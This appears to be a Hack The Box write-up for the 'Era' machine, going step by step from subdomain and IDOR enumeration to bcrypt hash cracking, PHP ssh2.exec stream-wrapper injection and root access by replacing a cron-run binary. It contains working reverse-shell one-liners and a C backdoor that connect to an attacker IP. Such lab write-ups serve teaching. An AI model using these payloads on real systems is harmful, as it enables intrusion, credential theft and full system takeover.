Machine Information
# Name: EraDifficulty: MediumOS: Linux (Ubuntu)IP: 10.10.11.79Enumeration
# Nmap Scan
# 1
nmap -A -sV -sC 10.10.11.79 -T4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-10 21:50 EAT
Nmap scan report for era.htb (10.10.11.79)
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Era Designs
Device type: general purpose|router
Running: Linux 4.X|5.X
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Open Ports:
21/tcp - vsftpd 3.0.580/tcp - nginx 1.18.0 (redirects to era.htb)Added to /etc/hosts:
1
echo "10.10.11.79 era.htb" | sudo tee -a /etc/hosts
Subdomain Enumeration
# 1
2
3
4
ffuf -w /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt \
-H "Host:FUZZ.era.htb" \
-u http://era.htb/ \
-mc 200
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://era.htb/
:: Wordlist : FUZZ: /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 249ms]
Discovered: file.era.htb
1
echo "10.10.11.79 file.era.htb" | sudo tee -a /etc/hosts
Initial Access
# File Management Application
# Visiting file.era.htb revealed a file management system with the following features:
Manage Files Upload Files Update Security Questions Sign In/Sign Out Registered new account: 7r00t@gmail.com with random password.
After login, obtained session ID: PHPSESSID=dhub8g1c45omlre0duqb9vugjf
IDOR Vulnerability
# Created wordlist and fuzzed the download endpoint:
1
2
3
4
5
seq 0 100 > id.txt
ffuf -u "http://file.era.htb/download.php?id=FUZZ" \
-w id.txt \
-mc 200 \
-H "Cookie: PHPSESSID=dhub8g1c45omlre0duqb9vugjf"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/download.php?id=FUZZ
:: Wordlist : FUZZ: /home/test/HTB/Era/id.txt
:: Header : Cookie: PHPSESSID=dhub8g1c45omlre0duqb9vugjf
:: Matcher : Response status: 200
________________________________________________
0 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 280ms]
1 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 275ms]
2 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 271ms]
...
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 249ms]
...
100 [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 248ms]
Key Finding: ID 54 has different response size (6378 bytes vs 7686 bytes) - indicates actual file content.
Backup Discovery
# 1
2
3
4
5
curl "http://file.era.htb/download.php?id=54" \
-H "Cookie: PHPSESSID=dhub8g1c45omlre0duqb9vugjf" \
-o downloaded_file
file downloaded_file
1
downloaded_file: HTML document, ASCII text
Viewing the HTML showed:
1
2
3
< h1 > Your Download Is Ready!</ h1 >
< p > site-backup-30-08-24.zip</ p >
< div >< a href = "download.php?id=54&dl=true" >< i class = "fa fa-download fa-5x" ></ i ></ a ></ div >
Downloaded the actual file:
1
2
3
4
5
curl "http://file.era.htb/download.php?id=54&dl=true" \
-H "Cookie: PHPSESSID=dhub8g1c45omlre0duqb9vugjf" \
-o site-backup-30-08-24.zip
unzip site-backup-30-08-24.zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Archive: site-backup-30-08-24.zip
inflating: LICENSE
inflating: bg.jpg
creating: css/
inflating: css/main.css.save
inflating: css/main.css
inflating: css/fontawesome-all.min.css
inflating: css/noscript.css
creating: css/images/
extracting: css/images/overlay.png
inflating: download.php
inflating: filedb.sqlite
creating: files/
inflating: files/.htaccess
extracting: files/index.php
inflating: functions.global.php
inflating: index.php
inflating: initial_layout.php
inflating: layout.php
inflating: layout_login.php
inflating: login.php
inflating: logout.php
inflating: main.png
inflating: manage.php
inflating: register.php
inflating: reset.php
creating: sass/
creating: sass/layout/
inflating: sass/layout/_wrapper.scss
inflating: sass/layout/_footer.scss
inflating: sass/layout/_main.scss
inflating: sass/main.scss
creating: sass/base/
inflating: sass/base/_page.scss
inflating: sass/base/_reset.scss
inflating: sass/base/_typography.scss
creating: sass/libs/
inflating: sass/libs/_vars.scss
inflating: sass/libs/_vendor.scss
inflating: sass/libs/_functions.scss
inflating: sass/libs/_mixins.scss
inflating: sass/libs/_breakpoints.scss
inflating: sass/noscript.scss
creating: sass/components/
inflating: sass/components/_actions.scss
inflating: sass/components/_icons.scss
inflating: sass/components/_button.scss
inflating: sass/components/_icon.scss
inflating: sass/components/_list.scss
inflating: sass/components/_form.scss
inflating: screen-download.png
inflating: screen-login.png
inflating: screen-main.png
inflating: screen-manage.png
inflating: screen-upload.png
inflating: security_login.php
inflating: upload.php
creating: webfonts/
inflating: webfonts/fa-solid-900.eot
inflating: webfonts/fa-regular-400.ttf
inflating: webfonts/fa-regular-400.woff
inflating: webfonts/fa-solid-900.svg
inflating: webfonts/fa-solid-900.ttf
inflating: webfonts/fa-solid-900.woff
inflating: webfonts/fa-brands-400.ttf
extracting: webfonts/fa-regular-400.woff2
inflating: webfonts/fa-solid-900.woff2
inflating: webfonts/fa-regular-400.eot
inflating: webfonts/fa-regular-400.svg
inflating: webfonts/fa-brands-400.woff2
inflating: webfonts/fa-brands-400.woff
inflating: webfonts/fa-brands-400.eot
inflating: webfonts/fa-brands-400.svg
Credential Extraction# Database Analysis
# 1
2
3
4
5
6
7
8
9
10
sqlite > . tables
files users
sqlite > SELECT user_name , user_password FROM users ;
admin_ef01cab31aa | $ 2 y$10$wDbohsUaezf74d3sMNRPi . o93wDxJqphM2m0VVUp41If6WrYr . QPC
eric | $ 2 y$10$S9EOSDqF1RzNUvyVj7OtJ . mskgP1spN3g2dneU . D . ABQLhSV2Qvxm
veronica | $ 2 y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I . YqaFFnZNA / 2 GCxLveQ805kuQGOK
yuri | $ 2 b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2 .
john | $ 2 a$10$iccCEz6 . 5 . W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V / IddE6
ethan | $ 2 a$10$PkV / LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV / dh / a1wC
Password Cracking
# Extracted hashes and cracked with Hashcat:
1
2
cut -d '|' -f2 hashes.txt > bcrypt_only.txt
hashcat -m 3200 bcrypt_only.txt /usr/share/wordlists/rockyou.txt -w 3 -d 1
1
2
3
4
5
6
7
8
9
hashcat (v6.2.6) starting
Hashes: 6 digests; 6 unique digests, 6 unique salts
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
Cracked Credentials:
Admin Access
# FTP Verification
# 1
2
3
4
ftp 10.10.11.79
# Username: yuri
# Password: mustang
# Login successful - found php8.1_conf directory with ssh2.so extension
Security Question Bypass
# The backup included security_login.php which allows login via security questions.
Logged in with yuri:mustang Used “Update Security Questions” feature to modify admin’s security answers Accessed security_login.php with known answers Successfully logged in as admin_ef01cab31aa Remote Code Execution
# Vulnerable Download Endpoint
# Analyzed download.php from backup - key vulnerable code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
} elseif ( $_GET [ 'show' ] === "true" && $_SESSION [ 'erauser' ] === 1 ) {
$format = isset ( $_GET [ 'format' ]) ? $_GET [ 'format' ] : '' ;
$file = $fetched [ 0 ];
if ( strpos ( $format , '://' ) !== false ) {
$wrapper = $format ;
header ( 'Content-Type: application/octet-stream' );
}
try {
$file_content = fopen ( $wrapper ? $wrapper . $file : $file , 'r' );
$full_path = $wrapper ? $wrapper . $file : $file ;
echo "Opening: " . $full_path . " \n " ;
echo $file_content ;
}
}
Admin users can use PHP stream wrappers via the format= parameter with show=true.
SSH2 Wrapper Exploitation
# With FTP access confirmed ssh2.so extension is loaded, enabling ssh2.exec:// wrapper for command execution.
Base64 payload creation:
1
echo -n '(bash >& /dev/tcp/10.10.14.85/4444 0>&1) &' | base64
1
KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuODUvNDQ0NCAwPiYxKSAm
Start listener:
1
listening on [any] 4444 ...
Exploit URL (visit while logged in as admin):
1
http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27printf%20KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuODUvNDQ0NCAwPiYxKSAm|base64%20-d|bash%27;
Shell received:
1
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.79] 34408
Shell upgrade:
1
2
3
4
export TERM = xterm
export SHELL = bash
export HISTFILE = /dev/null
python3 -c 'import pty;pty.spawn("/bin/bash")'
1
2
3
4
5
eric@era:~$ ls
user.txt
eric@era:~$ cat user.txt
701cb*******
Privilege Escalation
# Writable Binary Discovery
# 1
2
3
4
5
6
7
8
9
eric@era:~$ find / -group devs -writable 2>/dev/null
/opt/AV/periodic-checks/monitor
eric@era:~$ ls -la /opt/AV/periodic-checks/
total 24
drwxrwx--- 2 root devs 4096 Dec 10 20:33 .
drwxr-xr-x 3 root root 4096 Aug 30 10:15 ..
-rwxrw---- 1 root devs 6144 Dec 10 20:33 monitor
-rw-rw---- 1 root devs 0 Dec 10 20:33 status.log
The monitor binary is group-writable and executed by root via cron with .text_sig section integrity checking.
Binary Replacement Attack
# Create malicious binary:
1
2
3
4
5
6
7
8
9
cat > 7.c << 'EOF'
#include <stdlib.h>
int main() {
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.85/4444 0>&1'");
return 0;
}
EOF
cat 7.c
1
2
3
4
5
#include <stdlib.h>
int main () {
system ( "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.85/4444 0>&1'" );
return 0 ;
}
Compile statically and preserve signature:
1
2
3
4
gcc -static 7.c -o backdoor
objcopy --dump-section .text_sig= text_sig /opt/AV/periodic-checks/monitor
objcopy --add-section .text_sig= text_sig backdoor
cp backdoor monitor
Verify replacement:
1
-rwxrw---- 1 root devs 915128 Dec 10 20:33 monitor
Root Shell
# Start listener:
1
listening on [any] 4444 ...
Wait for cron execution (typically 1-2 minutes):
1
2
3
connect to [10.10.14.85] from (UNKNOWN) [10.10.11.79] 39454
bash: cannot set terminal process group (4544): Inappropriate ioctl for device
bash: no job control in this shell
1
2
3
4
5
6
7
8
root@era:~# id
uid = 0( root) gid = 0( root) groups = 0( root)
root@era:~# ls /root
answers.sh clean_monitor.sh initiate_monitoring.sh monitor root.txt text_sig_section.bin
root@era:~# cat /root/root.txt
d009d*******
Attack Chain
# 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1. Reconnaissance
โโ> Subdomain Enumeration
โโ> Discovered `file.era.htb`
2. Initial Access
โโ> IDOR in `download.php`
โโ> Download source code backup
โโ> Extract `filedb.sqlite` containing hashes
3. lateral Movement
โโ> Crack Passwords
โโ> `eric:america` & `yuri:mustang`
โโ> Bypass Security Questions to become Admin
4. Remote Code Execution
โโ> PHP Stream Wrapper Injection
โโ> `ssh2.exec://` wrapper with FTP access
โโ> Execute Reverse Shell
5. Privilege Escalation
โโ> Weak File Permissions
โโ> `monitor` binary writable by `devs` group
โโ> Running as root via Cron
โโ> Binary Replacement (Preserving Signature)
โโ> Root Shell
Flags:
User: 701cb*******Root: d009d*******Tools: nmap, ffuf, sqlite3, hashcat, objcopy, gcc, netcat
I hope this was helpful
Posted: 2025-12-10 00:00:00 UTC Time since posted: calculating...
Reply by Email